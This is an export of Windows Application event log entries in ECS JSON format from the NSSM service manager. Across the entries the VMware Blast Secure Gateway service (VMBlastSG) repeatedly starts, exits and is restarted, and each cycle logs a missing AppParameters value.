{"@timestamp":1646717064514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159559}}
{"@timestamp":1646717193001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159560}}
{"@timestamp":1646717193003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159561}}
{"@timestamp":1646717193003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155948","0"]}}},"module":"Application","provider":"nssm","sequence":159562}}
{"@timestamp":1646717193004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155948","155948","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159563}}
{"@timestamp":1646717193022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159564}}
{"@timestamp":1646717193022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159565}}
{"@timestamp":1646717193023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159566}}
{"@timestamp":1646717193024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159567}}
{"@timestamp":1646717321572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159568}}
{"@timestamp":1646717321573,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159569}}
{"@timestamp":1646717321574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155420","0"]}}},"module":"Application","provider":"nssm","sequence":159570}}
{"@timestamp":1646717321575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155420","155420","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159571}}
{"@timestamp":1646717321592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159572}}
{"@timestamp":1646717321592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159573}}
{"@timestamp":1646717321593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159574}}
{"@timestamp":1646717321593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159575}}
{"@timestamp":1646717450264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159576}}
{"@timestamp":1646717450265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159577}}
{"@timestamp":1646717450266,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154652","0"]}}},"module":"Application","provider":"nssm","sequence":159578}}
{"@timestamp":1646717450267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154652","154652","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159579}}
{"@timestamp":1646717450283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159580}}
{"@timestamp":1646717450284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159581}}
{"@timestamp":1646717450284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159582}}
{"@timestamp":1646717450285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159583}}
{"@timestamp":1646717578769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159584}}
{"@timestamp":1646717578770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159585}}
{"@timestamp":1646717578770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153152","0"]}}},"module":"Application","provider":"nssm","sequence":159586}}
{"@timestamp":1646717578771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153152","153152","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159587}}
{"@timestamp":1646717578787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159588}}
{"@timestamp":1646717578788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159589}}
{"@timestamp":1646717578788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159590}}
{"@timestamp":1646717578789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159591}}
{"@timestamp":1646717707272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159592}}
{"@timestamp":1646717707274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159593}}
{"@timestamp":1646717707275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156220","0"]}}},"module":"Application","provider":"nssm","sequence":159594}}
{"@timestamp":1646717707275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156220","156220","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159595}}
{"@timestamp":1646717707291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159596}}
{"@timestamp":1646717707292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159597}}
{"@timestamp":1646717707293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159598}}
{"@timestamp":1646717707294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159599}}
{"@timestamp":1646717835868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159600}}
{"@timestamp":1646717835869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159601}}
{"@timestamp":1646717835870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154104","0"]}}},"module":"Application","provider":"nssm","sequence":159602}}
{"@timestamp":1646717835870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154104","154104","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159603}}
{"@timestamp":1646717835885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152976","0"]}}},"module":"Application","provider":"nssm","sequence":159604}}
{"@timestamp":1646717835886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152976","154104","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159605}}
{"@timestamp":1646717835900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159606}}
{"@timestamp":1646717835900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159607}}
{"@timestamp":1646717835900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159608}}
{"@timestamp":1646717835901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159609}}
{"@timestamp":1646717964423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159610}}
{"@timestamp":1646717964424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159611}}
{"@timestamp":1646717964425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156456","0"]}}},"module":"Application","provider":"nssm","sequence":159612}}
{"@timestamp":1646717964425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156456","156456","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159613}}
{"@timestamp":1646717964441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159614}}
{"@timestamp":1646717964442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159615}}
{"@timestamp":1646717964442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159616}}
{"@timestamp":1646717964443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159617}}
{"@timestamp":1646718092929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159618}}
{"@timestamp":1646718092931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159619}}
{"@timestamp":1646718092931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152708","0"]}}},"module":"Application","provider":"nssm","sequence":159620}}
{"@timestamp":1646718092932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152708","152708","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159621}}
{"@timestamp":1646718092948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159622}}
{"@timestamp":1646718092949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159623}}
{"@timestamp":1646718092949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159624}}
{"@timestamp":1646718092950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159625}}
{"@timestamp":1646718221435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159626}}
{"@timestamp":1646718221437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159627}}
{"@timestamp":1646718221438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154772","0"]}}},"module":"Application","provider":"nssm","sequence":159628}}
{"@timestamp":1646718221438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154772","154772","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159629}}
{"@timestamp":1646718221454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159630}}
{"@timestamp":1646718221455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159631}}
{"@timestamp":1646718221455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159632}}
{"@timestamp":1646718221456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159633}}
{"@timestamp":1646718350085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159634}}
{"@timestamp":1646718350086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159635}}
{"@timestamp":1646718350087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156120","0"]}}},"module":"Application","provider":"nssm","sequence":159636}}
{"@timestamp":1646718350087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156120","156120","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159637}}
{"@timestamp":1646718350104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159638}}
{"@timestamp":1646718350104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159639}}
{"@timestamp":1646718350105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159640}}
{"@timestamp":1646718350106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159641}}
{"@timestamp":1646718478783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159642}}
{"@timestamp":1646718478784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159643}}
{"@timestamp":1646718478784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155512","0"]}}},"module":"Application","provider":"nssm","sequence":159644}}
{"@timestamp":1646718478784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155512","155512","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159645}}
{"@timestamp":1646718478801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159646}}
{"@timestamp":1646718478802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159647}}
{"@timestamp":1646718478802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159648}}
{"@timestamp":1646718478803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159649}}
{"@timestamp":1646718607318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159650}}
{"@timestamp":1646718607320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159651}}
{"@timestamp":1646718607320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154880","0"]}}},"module":"Application","provider":"nssm","sequence":159652}}
{"@timestamp":1646718607321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154880","154880","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159653}}
{"@timestamp":1646718607337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159654}}
{"@timestamp":1646718607338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159655}}
{"@timestamp":1646718607338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159656}}
{"@timestamp":1646718607339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159657}}
{"@timestamp":1646718735836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159658}}
{"@timestamp":1646718735836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159659}}
{"@timestamp":1646718735837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156448","0"]}}},"module":"Application","provider":"nssm","sequence":159660}}
{"@timestamp":1646718735838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156448","156448","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159661}}
{"@timestamp":1646718735855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159662}}
{"@timestamp":1646718735856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159663}}
